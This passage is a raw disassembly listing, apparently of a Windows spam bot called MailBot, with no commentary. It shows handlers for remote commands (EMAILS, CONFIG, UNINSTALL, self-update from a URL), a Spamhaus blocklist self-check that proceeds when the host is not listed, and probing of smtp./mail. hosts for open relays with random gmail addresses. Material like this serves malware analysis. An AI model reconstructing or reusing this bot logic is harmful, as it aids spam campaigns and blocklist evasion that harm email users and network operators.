esi call sub_401315 loc_4030D1: ; CODE XREF: sub_402F64+15Ej mov ecx, [esp+168h+var_14C] cmp dword ptr [ecx+18h], 10h jb short loc_4030E0 mov ecx, [ecx+4] jmp short loc_4030E3 ; --------------------------------------------------------------------------- loc_4030E0: ; CODE XREF: sub_402F64+175j add ecx, 4 loc_4030E3: ; CODE XREF: sub_402F64+17Aj cmp dword ptr [esi+18h], 10h jb short loc_4030EE mov eax, [esi+4] jmp short loc_4030F1 ; --------------------------------------------------------------------------- loc_4030EE: ; CODE XREF: sub_402F64+183j lea eax, [esi+4] loc_4030F1: ; CODE XREF: sub_402F64+188j push ecx push eax mov eax, [ebp+arg_0] movzx ecx, al push ecx movzx ecx, ah push ecx shr eax, 10h push eax push offset aServerVersionD ; "Server version %d.%d.%d, my ip %s (%s)\n"... call sub_4024A7 push eax push 4 pop ecx call sub_40195C add esp, 1Ch push ebx push 1 lea ecx, [esp+170h+var_148] call sub_4013C4 mov ecx, [esp+168h+var_C] pop edi pop esi mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn 8 sub_402F64 endp ; =============== S U B R O U T I N E ======================================= sub_40313B proc near ; DATA XREF: .vty:0041EB38o push offset aPong ; "PONG\n" call sub_4024A7 push eax push 4 pop ecx call sub_40195C pop ecx pop ecx retn sub_40313B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403151 proc near ; DATA XREF: .vty:0041EB3Co var_5C = dword ptr -5Ch var_48 = byte ptr -48h var_2C = byte ptr -2Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_1C = dword ptr 24h arg_50 = dword ptr 58h push ebp mov ebp, esp and esp, 0FFFFFFF8h mov eax, large fs:0 push 0FFFFFFFFh push offset loc_41B2BE push eax mov large fs:0, esp sub esp, 58h push ebx push esi push edi push offset aEmails ; "EMAILS\n" mov edi, ecx call sub_4024A7 push eax push 4 pop ecx call sub_40195C mov esi, [ebp+arg_0] cmp dword ptr [esi+8], 0 pop ecx pop ecx jnz short loc_4031C2 push offset aMailbotOnemail ; "MailBot::onEmails: got empty bucket\n" lea ecx, [esp+74h+var_48] call sub_401C44 and [esp+70h+var_4], 0 lea eax, [esp+70h+var_48] push eax lea ecx, [esp+74h+var_2C] call sub_401C1E push offset dword_41FF2C lea eax, [esp+74h+var_2C] push eax call sub_4107BC loc_4031C2: ; CODE XREF: sub_403151+3Fj mov ebx, dword_41C070 lea eax, [edi+108h] push eax mov [esp+74h+var_5C], eax call ebx ; RtlEnterCriticalSection lea eax, [edi+0B8h] push eax call ebx ; RtlEnterCriticalSection cmp dword ptr [edi+94h], 0 lea ebx, [edi+8Ch] jnz short loc_403233 cmp ebx, esi jz short loc_403224 mov eax, [esi+4] mov [esp+arg_4], eax mov eax, [eax] mov esi, ebx mov [esp+arg_14], eax call sub_4055A2 push [esp+arg_4] mov eax, [ebx+4] push [ebp+arg_0] mov eax, [eax] push [esp+8+arg_14] push [ebp+arg_0] push eax push ebx push [esp+18h+arg_C] push ebx call sub_407454 loc_403224: ; CODE XREF: sub_403151+9Ej mov eax, [ebx+4] mov eax, [eax] mov [esp+arg_4], ebx mov [esp+arg_8], eax jmp short loc_403272 ; --------------------------------------------------------------------------- loc_403233: ; CODE XREF: sub_403151+9Aj mov eax, [ebx+4] lea esi, [esp+arg_4] mov [esp+arg_4], ebx mov [esp+arg_8], eax call sub_405967 mov edx, [ebp+arg_0] cmp ebx, edx jz short loc_403269 mov eax, [edx+8] test eax, eax jz short loc_403269 mov ecx, [edx+4] mov esi, [ecx] push ecx push edx push esi push edx push dword ptr [ebx+4] mov ecx, ebx push ebx call sub_405A06 loc_403269: ; CODE XREF: sub_403151+FBj ; sub_403151+102j lea esi, [esp+arg_4] call sub_405D8F loc_403272: ; CODE XREF: sub_403151+E0j mov eax, [esp+arg_4] mov esi, [esp+arg_8] mov [esp+arg_10], eax mov [esp+arg_14], esi loc_403282: ; CODE XREF: sub_403151+227j cmp [esp+arg_10], 0 mov eax, [ebx+4] mov [esp+arg_1C], eax jz short loc_403296 cmp [esp+arg_10], ebx jz short loc_40329B loc_403296: ; CODE XREF: sub_403151+13Dj call sub_40DCFC loc_40329B: ; CODE XREF: sub_403151+143j cmp esi, [esp+arg_1C] jz loc_40337D cmp [esp+arg_10], 0 jnz short loc_4032B1 call sub_40DCFC loc_4032B1: ; CODE XREF: sub_403151+159j mov eax, [esp+arg_10] cmp esi, [eax+4] jnz short loc_4032BF call sub_40DCFC loc_4032BF: ; CODE XREF: sub_403151+167j lea eax, [esi+24h] call sub_405555 add [edi+0B4h], eax mov eax, [esp+arg_10] cmp esi, [eax+4] jnz short loc_4032DB call sub_40DCFC loc_4032DB: ; CODE XREF: sub_403151+183j mov eax, [esi+28h] cmp eax, [esi+2Ch] mov [esp+arg_4], eax jbe short loc_4032EC call sub_40DCFC loc_4032EC: ; CODE XREF: sub_403151+194j mov eax, [esp+arg_10] cmp esi, [eax+4] jnz short loc_4032FA call sub_40DCFC loc_4032FA: ; CODE XREF: sub_403151+1A2j lea eax, [esi+24h] mov [esi+34h], eax mov eax, [esp+arg_4] mov [esi+38h], eax mov eax, [esp+arg_10] cmp esi, [eax+4] jnz short loc_403315 call sub_40DCFC loc_403315: ; CODE XREF: sub_403151+1BDj mov dword ptr [esi+3Ch], 1 cmp byte ptr [edi+74h], 0 push 10h jz short loc_403336 call sub_40DE68 test eax, eax pop ecx jz short loc_403355 mov dword ptr [eax], offset off_41EB70 jmp short loc_403346 ; --------------------------------------------------------------------------- loc_403336: ; CODE XREF: sub_403151+1D1j call sub_40DE68 test eax, eax pop ecx jz short loc_403355 mov dword ptr [eax], offset off_41EB58 loc_403346: ; CODE XREF: sub_403151+1E3j mov ecx, [esp+arg_10] mov [eax+4], edi mov [eax+8], ecx mov [eax+0Ch], esi jmp short loc_403357 ; --------------------------------------------------------------------------- loc_403355: ; CODE XREF: sub_403151+1DBj ; sub_403151+1EDj xor eax, eax loc_403357: ; CODE XREF: sub_403151+202j mov [esp+arg_4], eax lea eax, [esp+arg_4] push eax lea eax, [edi+0F0h] call sub_4058F2 lea esi, [esp+arg_10] call sub_405D8F mov esi, [esp+arg_14] jmp loc_403282 ; --------------------------------------------------------------------------- loc_40337D: ; CODE XREF: sub_403151+14Ej mov esi, dword_41C06C lea eax, [edi+0B8h] push eax call esi ; RtlLeaveCriticalSection push dword ptr [edi+104h] call dword_41C088 ; SetEvent push dword ptr [edi+0D8h] call dword_41C0B4 ; ResetEvent push [esp+0Ch+arg_0] call esi ; RtlLeaveCriticalSection mov ecx, [esp+0Ch+arg_50] pop edi pop esi mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn 4 sub_403151 endp ; --------------------------------------------------------------------------- loc_4033BE: ; CODE XREF: .vty:0041AE66j ; .vty:0041AECFj ... push 0 push 1 call sub_4013C4 retn ; --------------------------------------------------------------------------- push esi push dword ptr [esp+8] mov esi, ecx call sub_401C1E mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4033DA proc near ; DATA XREF: .vty:0041EB40o var_7F = byte ptr -7Fh var_7E = byte ptr -7Eh var_7D = byte ptr -7Dh var_7C = dword ptr -7Ch var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = byte ptr -60h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_50 = byte ptr -50h var_48 = byte ptr -48h var_40 = byte ptr -40h var_38 = byte ptr -38h var_30 = byte ptr -30h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp and esp, 0FFFFFFF8h push 0FFFFFFFFh push offset SEH_4033DA mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 78h push ebx push esi push edi mov edi, ecx push offset aConfig ; "CONFIG\n" mov [esp+94h+var_74], edi call sub_4024A7 push eax push 4 pop ecx call sub_40195C pop ecx lea eax, [edi+0B8h] pop ecx push eax mov [esp+94h+var_64], eax call dword_41C070 ; RtlEnterCriticalSection mov ebx, [edi+78h] test ebx, ebx jz short loc_403445 lea esi, [ebx+2Ch] call sub_405AAC lea esi, [ebx+1Ch] call sub_405AAC push ebx call sub_40DD8A pop ecx loc_403445: ; CODE XREF: sub_4033DA+52j mov esi, [ebp+arg_0] mov [edi+78h], esi cmp dword ptr [esi+8], 0 jnz short loc_40345E mov byte ptr [edi+74h], 1 mov dword ptr [esi+8], 1 jmp short loc_403462 ; --------------------------------------------------------------------------- loc_40345E: ; CODE XREF: sub_4033DA+75j mov byte ptr [edi+74h], 0 loc_403462: ; CODE XREF: sub_4033DA+82j lea ebx, [edi+0E0h] mov eax, ebx call sub_4058DF mov ecx, [edi+78h] cmp eax, [ecx+8] jnb loc_403533 loc_40347B: ; CODE XREF: sub_4033DA+150j push 8 call sub_40DE68 xor esi, esi cmp eax, esi pop ecx jz short loc_403495 mov [eax], edi mov byte ptr [eax+4], 0 mov [esp+90h+var_7C], eax jmp short loc_403499 ; --------------------------------------------------------------------------- loc_403495: ; CODE XREF: sub_4033DA+ADj mov [esp+90h+var_7C], esi loc_403499: ; CODE XREF: sub_4033DA+B9j push esi push esi push [esp+98h+var_7C] push offset sub_40D748 push esi push esi call sub_4104BF add esp, 18h push eax call dword_41C0D4 ; CloseHandle mov eax, [esp+90h+var_7C] mov [esp+90h+var_70], eax mov eax, [ebx+4] cmp eax, esi jz short loc_4034CC mov esi, [ebx+0Ch] sub esi, eax sar esi, 2 loc_4034CC: ; CODE XREF: sub_4033DA+E8j mov eax, ebx call sub_4058DF cmp eax, esi jnb short loc_4034FD mov ecx, [ebx+8] xor eax, eax lea edi, [esp+90h+var_7F] stosb lea edi, [esp+90h+var_7E] stosb lea edi, [esp+90h+var_7D] stosb mov eax, [esp+90h+var_7C] mov edi, [esp+90h+var_74] mov [ecx], eax add ecx, 4 mov [ebx+8], ecx jmp short loc_40351D ; --------------------------------------------------------------------------- loc_4034FD: ; CODE XREF: sub_4033DA+FBj mov esi, [ebx+8] cmp [ebx+4], esi jbe short loc_40350A call sub_40DCFC loc_40350A: ; CODE XREF: sub_4033DA+129j push esi push ebx lea eax, [esp+98h+var_70] push eax lea eax, [esp+9Ch+var_58] push eax mov eax, ebx call sub_405BDD loc_40351D: ; CODE XREF: sub_4033DA+121j mov eax, ebx call sub_4058DF mov ecx, [edi+78h] cmp eax, [ecx+8] jb loc_40347B mov esi, [ebp+arg_0] loc_403533: ; CODE XREF: sub_4033DA+9Bj mov eax, ebx call sub_4058DF mov ecx, [edi+78h] cmp eax, [ecx+8] jbe short loc_4035A9 loc_403542: ; CODE XREF: sub_4033DA+1CAj mov esi, [ebx+8] cmp [ebx+4], esi jbe short loc_40354F call sub_40DCFC loc_40354F: ; CODE XREF: sub_4033DA+16Ej mov [esp+90h+var_5C], esi push 0FFFFFFFFh lea esi, [esp+94h+var_60] mov dword ptr [esp+94h+var_60], ebx call sub_4068D9 mov ecx, [eax] test ecx, ecx mov esi, [eax+4] mov [esp+90h+var_7C], ecx jnz short loc_403578 call sub_40DCFC mov ecx, [esp+90h+var_7C] loc_403578: ; CODE XREF: sub_4033DA+193j cmp esi, [ecx+8] jb short loc_403582 call sub_40DCFC loc_403582: ; CODE XREF: sub_4033DA+1A1j mov esi, [esi] mov eax, ebx mov byte ptr [esi+4], 1 call sub_4058DF test eax, eax jz short loc_403597 add dword ptr [ebx+8], 0FFFFFFFCh loc_403597: ; CODE XREF: sub_4033DA+1B7j mov eax, ebx call sub_4058DF mov ecx, [edi+78h] cmp eax, [ecx+8] ja short loc_403542 mov esi, [ebp+arg_0] loc_4035A9: ; CODE XREF: sub_4033DA+166j lea ebx, [esi+1Ch] mov eax, [ebx+4] cmp eax, [ebx+8] mov [esp+90h+var_7C], ebx mov [esp+90h+var_70], eax jbe short loc_4035C5 call sub_40DCFC mov eax, [esp+90h+var_70] loc_4035C5: ; CODE XREF: sub_4033DA+1E0j mov [esp+90h+var_6C], ebx mov [esp+90h+var_68], eax loc_4035CD: ; CODE XREF: sub_4033DA+29Aj mov eax, [ebx+8] cmp [ebx+4], eax mov [esp+90h+var_70], eax jbe short loc_4035DE call sub_40DCFC loc_4035DE: ; CODE XREF: sub_4033DA+1FDj cmp ebx, ebx jz short loc_4035E7 call sub_40DCFC loc_4035E7: ; CODE XREF: sub_4033DA+206j mov eax, [esp+90h+var_70] cmp [esp+90h+var_68], eax jz loc_403679 lea esi, [esp+90h+var_6C] call sub_409835 mov edi, eax call sub_409835 mov ebx, eax call sub_409835 mov [esp+90h+var_70], eax lea eax, [esp+90h+var_50] mov ecx, edi call sub_405472 mov esi, eax lea eax, [esp+90h+var_48] mov ecx, ebx call sub_405492 mov ecx, [esp+90h+var_70] mov edi, eax lea eax, [esp+90h+var_40] call sub_405472 push dword ptr [esi+4] lea ebx, [esp+94h+var_38] push dword ptr [esi] push dword ptr [edi+4] push dword ptr [edi] push dword ptr [eax+4] push dword ptr [eax] call sub_406A1C mov eax, [esp+0A8h+var_7C] mov ecx, [esp+0A8h+var_68] add esp, 18h cmp ecx, [eax+8] jb short loc_403664 call sub_40DCFC loc_403664: ; CODE XREF: sub_4033DA+283j add [esp+90h+var_68], 1Ch mov edi, [esp+90h+var_74] mov ebx, [esp+90h+var_7C] mov esi, [ebp+arg_0] jmp loc_4035CD ; --------------------------------------------------------------------------- loc_403679: ; CODE XREF: sub_4033DA+215j lea ebx, [esi+2Ch] mov eax, ebx lea esi, [edi+7Ch] call sub_4057B6 push eax push esi call sub_40583B and [esp+90h+var_7C], 0 mov eax, esi call sub_4058AA test eax, eax jbe loc_40374D lea eax, [edi+20h] add edi, 4 and [esp+90h+var_74], 0 mov [esp+90h+var_70], eax mov [esp+90h+var_6C], edi loc_4036B4: ; CODE XREF: sub_4033DA+36Dj mov eax, ebx call sub_4057B6 cmp [esp+90h+var_7C], eax jb short loc_4036C6 call sub_40DCFC loc_4036C6: ; CODE XREF: sub_4033DA+2E5j mov eax, [ebx+4] add eax, [esp+90h+var_74] push eax push [esp+94h+var_7C] call sub_4058C0 push eax call sub_4081BF push [esp+90h+var_70] lea ecx, [esp+94h+var_30] call sub_401C1E push [esp+90h+var_7C] call sub_4058C0 mov edi, eax and [esp+90h+var_4], 0 push 0FFFFFFFFh push 0 push [esp+98h+var_6C] lea ecx, [edi+3Ch] call sub_401315 push 0FFFFFFFFh push 0 lea eax, [esp+98h+var_30] push eax lea ecx, [edi+58h] call sub_401315 or [esp+90h+var_4], 0FFFFFFFFh push 0 push 1 lea ecx, [esp+98h+var_30] call sub_4013C4 inc [esp+90h+var_7C] add [esp+90h+var_74], 1Ch mov eax, esi call sub_4058AA cmp [esp+90h+var_7C], eax jb loc_4036B4 loc_40374D: ; CODE XREF: sub_4033DA+2C1j push [esp+90h+var_64] call dword_41C06C ; RtlLeaveCriticalSection mov ecx, [esp+90h+var_C] pop edi pop esi mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn 4 sub_4033DA endp ; =============== S U B R O U T I N E ======================================= sub_40376E proc near ; DATA XREF: .vty:0041EB44o var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_50 = dword ptr -50h var_8 = dword ptr -8 mov eax, offset loc_41B627 call sub_41AE44 sub esp, 54h push offset aUninstall ; "UNINSTALL" push dword ptr [ebp+8] call sub_40FAB0 test eax, eax pop ecx pop ecx jnz short loc_4037AA push offset aUninstalling ; "Uninstalling\n" call sub_4024A7 push eax push 4 pop ecx call sub_40195C pop ecx pop ecx call sub_4048E7 jmp short loc_4037EA ; --------------------------------------------------------------------------- loc_4037AA: ; CODE XREF: sub_40376E+1Ej push dword ptr [ebp+8] push offset aUpdatingFromS ; "Updating from %s\n" call sub_4024A7 push eax push 4 pop ecx call sub_40195C add esp, 0Ch push dword ptr [ebp+8] lea ecx, [ebp-28h] call sub_401C44 and dword ptr [ebp-4], 0 lea ecx, [ebp-28h] call sub_40499E or dword ptr [ebp-4], 0FFFFFFFFh push 0 push 1 lea ecx, [ebp-28h] call sub_4013C4 loc_4037EA: ; CODE XREF: sub_40376E+3Aj push offset aMailbotOnupdat ; "MailBot::onUpdate: trying to return?!" lea ecx, [ebp-44h] call sub_401C44 lea eax, [ebp-44h] push eax lea ecx, [ebp-60h] mov dword ptr [ebp-4], 1 call sub_401C1E push offset dword_41FF2C lea eax, [ebp-60h] push eax call sub_4107BC int 3 ; Trap to Debugger push ecx push ecx push ebx push ebp mov ebp, [esp+64h+var_50] push esi push edi push ebp push offset aIdleD ; "IDLE: %d\n" mov esi, ecx call sub_4024A7 push eax push 4 pop ecx call sub_40195C push 0 call sub_40FDF8 mov ebx, dword_41C070 add esp, 10h mov [esp+6Ch+var_5C], eax mov [esp+6Ch+var_58], edx lea edi, [esi+108h] loc_403857: ; CODE XREF: sub_40376E+113j push edi call ebx ; RtlEnterCriticalSection cmp dword ptr [esi+0DCh], 0 jg short loc_40386C cmp dword ptr [esi+100h], 0 jz short loc_403883 loc_40386C: ; CODE XREF: sub_40376E+F3j push edi call dword_41C06C ; RtlLeaveCriticalSection push 0FFFFFFFFh push dword ptr [esi+0D8h] call dword_41C084 ; WaitForSingleObject jmp short loc_403857 ; --------------------------------------------------------------------------- loc_403883: ; CODE XREF: sub_40376E+FCj push edi call dword_41C06C ; RtlLeaveCriticalSection cmp dword ptr [esi+0A0h], 0 jz short loc_4038AA push offset aGotSomeEmailsT ; "Got some emails to return, not waiting\n"... call sub_4024A7 push eax push 4 pop ecx call sub_40195C pop ecx pop ecx jmp short loc_4038EB ; --------------------------------------------------------------------------- loc_4038AA: ; CODE XREF: sub_40376E+123j push 0 call sub_40FDF8 pop ecx mov ecx, [esp+18h+var_8] sub ecx, eax add ebp, ecx test ebp, ebp jle short loc_4038EB add esi, 0D0h loc_4038C4: ; CODE XREF: sub_40376E+17Bj cmp ebp, 3Ch jge short loc_4038CD mov edi, ebp jmp short loc_4038D0 ; --------------------------------------------------------------------------- loc_4038CD: ; CODE XREF: sub_40376E+159j push 3Ch pop edi loc_4038D0: ; CODE XREF: sub_40376E+15Dj mov eax, edi imul eax, 3E8h push eax call dword_41C090 ; Sleep push esi call sub_40B774 sub ebp, edi test ebp, ebp jg short loc_4038C4 loc_4038EB: ; CODE XREF: sub_40376E+13Aj ; sub_40376E+14Ej pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn 4 sub_40376E endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 1Ch push esi mov esi, [ebp+8] push esi push offset aQuitD ; "QUIT: %d\n" call sub_4024A7 push eax push 4 pop ecx call sub_40195C add esp, 0Ch cmp esi, 0FFFFFFFFh jnz short loc_403922 push 0 call dword_41C100 ; ExitProcess loc_403922: ; CODE XREF: .vty:00403918j imul esi, 3E8h push esi call dword_41C090 ; Sleep push 0 lea ecx, [ebp-1Ch] mov dword ptr [ebp-4], 0Fh call sub_401564 push offset dword_41FF2C lea eax, [ebp-1Ch] push eax call sub_4107BC int 3 ; Trap to Debugger push ebx mov ebx, [esp+8] push esi push edi mov eax, ebx mov esi, ecx call sub_4057B6 push eax push offset aPutfdomainsD ; "PUTFDOMAINS %d\n" call sub_4024A7 push eax push 5 pop ecx call sub_40195C add esp, 0Ch lea edi, [esi+0B8h] push edi call dword_41C070 ; RtlEnterCriticalSection lea eax, [esi+0A4h] call sub_4056BC push edi call dword_41C06C ; RtlLeaveCriticalSection pop edi pop esi pop ebx retn 4 ; =============== S U B R O U T I N E ======================================= sub_40399B proc near ; CODE XREF: sub_405089+6Ap mov eax, offset loc_41B2AC call sub_41AE44 sub esp, 60h or dword ptr [ebp-6Ch], 0FFFFFFFFh push ebx push esi push edi lea esi, [ebp-68h] call sub_4012E2 xor ebx, ebx push offset aGmail_com ; "gmail.com" lea ecx, [ebp-30h] mov [ebp-4], ebx call sub_401C44 lea eax, [ebp-4Ch] push eax lea ecx, [ebp-30h] mov byte ptr [ebp-4], 1 call sub_40D228 pop ecx mov edi, eax lea eax, [ebp-6Ch] mov byte ptr [ebp-4], 2 call sub_40CCCC push ebx cmp eax, 0FFFFFFFFh push 1 lea ecx, [ebp-4Ch] setz byte ptr [ebp-11h] call sub_4013C4 push ebx push 1 lea ecx, [ebp-30h] call sub_4013C4 cmp [ebp-11h], bl jz short loc_403A23 loc_403A0A: ; CODE XREF: sub_40399B+8Bj lea eax, [ebp-6Ch] call sub_40CCB1 mov ecx, [ebp-0Ch] pop edi pop esi mov eax, ebx mov large fs:0, ecx pop ebx leave retn ; --------------------------------------------------------------------------- loc_403A23: ; CODE XREF: sub_40399B+6Dj xor ebx, ebx inc ebx jmp short loc_403A0A sub_40399B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403A28 proc near ; CODE XREF: sub_405089+73p var_108 = byte ptr -108h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 108h and [ebp+var_4], 0 push ebx xor ebx, ebx cmp dword ptr [eax+1Ch], 10h push esi jb short loc_403A44 mov eax, [eax+8] jmp short loc_403A47 ; --------------------------------------------------------------------------- loc_403A44: ; CODE XREF: sub_403A28+15j add eax, 8 loc_403A47: ; CODE XREF: sub_403A28+1Aj push eax call dword_41C200 ; inet_addr movzx ecx, al push ecx movzx ecx, ah push ecx mov ecx, eax shr ecx, 10h and ecx, 0FFh push ecx shr eax, 18h push eax push offset aD_D_D_D_sblXbl ; "%d.%d.%d.%d.sbl-xbl.spamhaus.org" mov esi, 100h lea eax, [ebp+var_108] push esi push eax call sub_40D9FB add esp, 1Ch push 0 lea eax, [ebp+var_4] push eax push 0 push esi push 1 lea eax, [ebp+var_108] push eax call sub_40D772 ; DnsQuery_A test eax, eax jnz loc_403B2C mov esi, [ebp+var_4] jmp short loc_403B1C ; --------------------------------------------------------------------------- loc_403AA4: ; CODE XREF: sub_403A28+F6j lea eax, [ebp+var_108] push eax push dword ptr [esi+4] call sub_40FAB0 test eax, eax pop ecx pop ecx jnz short loc_403B1A mov eax, [esi+18h] cmp eax, 200007Fh jz short loc_403B02 cmp eax, 400007Fh jz short loc_403AF8 cmp eax, 500007Fh jz short loc_403AF8 cmp eax, 600007Fh jz short loc_403AF8 push eax call dword_41C1FC ; inet_ntoa push eax push offset aStrangeRblReco ; "Strange RBL record %s\n" call sub_4024A7 push eax push 3 pop ecx call sub_40195C add esp, 0Ch jmp short loc_403B1A ; --------------------------------------------------------------------------- loc_403AF8: ; CODE XREF: sub_403A28+A0j ; sub_403A28+A7j ... or ebx, 4 push offset aXblListed_ ; "XBL listed.\n" jmp short loc_403B0A ; --------------------------------------------------------------------------- loc_403B02: ; CODE XREF: sub_403A28+99j or ebx, 2 push offset aSblListed_ ; "SBL listed.\n" loc_403B0A: ; CODE XREF: sub_403A28+D8j call sub_4024A7 push eax push 3 pop ecx call sub_40195C pop ecx pop ecx loc_403B1A: ; CODE XREF: sub_403A28+8Fj ; sub_403A28+CEj mov esi, [esi] loc_403B1C: ; CODE XREF: sub_403A28+7Aj test esi, esi jnz short loc_403AA4 push 1 push [ebp+var_4] call sub_40D778 ; DnsRecordListFree jmp short loc_403B41 ; --------------------------------------------------------------------------- loc_403B2C: ; CODE XREF: sub_403A28+71j push offset aNotOnRbl_LetSR ; "Not on RBL. Let's rock!\n" call sub_4024A7 push eax push 4 pop ecx call sub_40195C pop ecx pop ecx loc_403B41: ; CODE XREF: sub_403A28+102j pop esi mov eax, ebx pop ebx leave retn sub_403A28 endp ; =============== S U B R O U T I N E ======================================= sub_403B47 proc near ; CODE XREF: sub_405089+7Ap mov eax, offset loc_41B28A call sub_41AE44 sub esp, 3Ch push ebx push esi xor ebx, ebx push ebx lea ecx, [ebp-28h] mov dword ptr [ebp-10h], 0Fh call sub_401564 mov [ebp-4], ebx cmp [edi+50h], ebx jnz short loc_403B8D loc_403B70: ; CODE XREF: sub_403B47+12Aj xor esi, esi loc_403B72: ; CODE XREF: sub_403B47+B6j push ebx push 1 lea ecx, [ebp-28h] call sub_4013C4 mov ecx, [ebp-0Ch] mov eax, esi pop esi mov large fs:0, ecx pop ebx leave retn ; --------------------------------------------------------------------------- loc_403B8D: ; CODE XREF: sub_403B47+27j lea eax, [ebp-44h] lea esi, [edi+3Ch] push eax mov ecx, esi call sub_40D228 pop ecx push 0FFFFFFFFh push ebx push eax lea ecx, [ebp-28h] mov byte ptr [ebp-4], 1 call sub_401315 push ebx push 1 lea ecx, [ebp-44h] mov [ebp-4], bl call sub_4013C4 lea eax, [ebp-28h] push eax push edi call sub_403C76 test al, al jz short loc_403C02 cmp dword ptr [ebp-10h], 10h mov eax, [ebp-24h] jnb short loc_403BD4 loc_403BD1: ; CODE XREF: sub_403B47+E6j lea eax, [ebp-24h] loc_403BD4: ; CODE XREF: sub_403B47+88j ; sub_403B47+EBj push eax push offset aProxyLockFound ; "Proxy lock found: %s\n" call sub_4024A7 push eax push 4 pop ecx call sub_40195C add esp, 0Ch push 0FFFFFFFFh push ebx lea eax, [ebp-28h] push eax lea ecx, [edi+58h] call sub_401315 push 8 pop esi jmp loc_403B72 ; --------------------------------------------------------------------------- loc_403C02: ; CODE XREF: sub_403B47+7Fj push offset aSmtp_ ; "smtp." lea ecx, [ebp-28h] call sub_4013A7 push 0FFFFFFFFh mov eax, esi push ebx lea esi, [ebp-28h] call sub_401F95 mov eax, esi push eax push edi call sub_403C76 test al, al jz short loc_403C34 loc_403C29: ; CODE XREF: sub_403B47+113j cmp dword ptr [ebp-10h], 10h jb short loc_403BD1 mov eax, [ebp-24h] jmp short loc_403BD4 ; --------------------------------------------------------------------------- loc_403C34: ; CODE XREF: sub_403B47+E0j push offset aMail_ ; "mail." lea ecx, [ebp-28h] call sub_4013A7 push 0FFFFFFFFh push ebx lea eax, [edi+3Ch] lea esi, [ebp-28h] call sub_401F95 mov eax, esi push eax push edi call sub_403C76 test al, al jnz short loc_403C29 push offset aNoProxyLockFou ; "No proxy lock found\n" call sub_4024A7 push eax push 4 pop ecx call sub_40195C pop ecx pop ecx jmp loc_403B70 sub_403B47 endp ; =============== S U B R O U T I N E ======================================= sub_403C76 proc near ; CODE XREF: sub_403B47+78p ; sub_403B47+D9p ... mov eax, offset loc_41B270 call sub_41AE44 sub esp, 60h push ebx xor ebx, ebx inc ebx test byte ptr dword_424EA8, bl push esi push edi jnz short loc_403CA7 or dword_424EA8, ebx push offset aAbcdefghijklmn ; "abcdefghijklmnopqrstuvwxyz" call sub_40D970 pop ecx mov dword_424EA4, eax loc_403CA7: ; CODE XREF: sub_403C76+19j or dword ptr [ebp-6Ch], 0FFFFFFFFh lea esi, [ebp-68h] call sub_4012E2 push 0Fh pop esi xor edi, edi mov [ebp-4], edi push edi lea ecx, [ebp-4Ch] mov [ebp-34h], esi call sub_401564 push edi lea ecx, [ebp-30h] mov [ebp-18h], esi call sub_401564 mov byte ptr [ebp-4], 2 call sub_40FA86 mov edi, eax and edi, 80000007h jns short loc_403CEB dec edi or edi, 0FFFFFFF8h inc edi loc_403CEB: ; CODE XREF: sub_403C76+6Ej add edi, 3 jz short loc_403D16 loc_403CF0: ; CODE XREF: sub_403C76+9Ej dec edi call sub_40FA86 xor edx, edx div dword_424EA4 lea esi, [ebp-4Ch] mov al, byte ptr aAbcdefghijklmn[edx] ; "abcdefghijklmnopqrstuvwxyz" mov [ebp-14h], al push dword ptr [ebp-14h] call sub_40140F test edi, edi jnz short loc_403CF0 loc_403D16: ; CODE XREF: sub_403C76+78j push 40h lea esi, [ebp-4Ch] call sub_40140F mov eax, [ebp+8] push 0FFFFFFFFh add eax, 3Ch push 0 mov [ebp-14h], eax call sub_401F95 call sub_40FA86 mov edi, eax and edi, 80000007h jns short loc_403D46 dec edi or edi, 0FFFFFFF8h inc edi loc_403D46: ; CODE XREF: sub_403C76+C9j add edi, 3 jz short loc_403D71 loc_403D4B: ; CODE XREF: sub_403C76+F9j dec edi call sub_40FA86 xor edx, edx div dword_424EA4 lea esi, [ebp-30h] mov al, byte ptr aAbcdefghijklmn[edx] ; "abcdefghijklmnopqrstuvwxyz" mov [ebp+8], al push dword ptr [ebp+8] call sub_40140F test edi, edi jnz short loc_403D4B loc_403D71: ; CODE XREF: sub_403C76+D3j push 40h lea esi, [ebp-30h] call sub_40140F push offset aGmail_com ; "gmail.com" mov eax, esi push eax call sub_401C66 mov edi, [ebp+0Ch] lea eax, [ebp-6Ch] call sub_40CCCC call sub_40D211 test al, al jnz short loc_403DCD loc_403D9C: ; CODE XREF: sub_403C76+16Aj ; sub_403C76+180j push 0 push ebx lea ecx, [ebp-30h] call sub_4013C4 push 0 push ebx lea ecx, [ebp-4Ch] call sub_4013C4 lea eax, [ebp-6Ch] call sub_40CCB1 xor al, al loc_403DBC: ; CODE XREF: sub_403C76+1BCj mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn 8 ; --------------------------------------------------------------------------- loc_403DCD: ; CODE XREF: sub_403C76+124j push dword ptr [ebp-14h] lea eax, [ebp-6Ch] push eax call sub_40CE97 call sub_40D211 test al, al jz short loc_403D9C lea eax, [ebp-4Ch] push eax lea eax, [ebp-6Ch] push eax call sub_40CF4A call sub_40D211 test al, al jz short loc_403D9C lea eax, [ebp-30h] push eax lea eax, [ebp-6Ch] push eax call sub_40CFFD call sub_40D211 test al, al jnz short loc_403E34 mov [ebp+0Bh], al loc_403E11: ; CODE XREF: sub_403C76+1C9j push 0 push ebx lea ecx, [ebp-30h] call sub_4013C4 push 0 push ebx lea ecx, [ebp-4Ch] call sub_4013C4 lea eax, [ebp-6Ch] call sub_40CCB1 mov al, [ebp+0Bh] 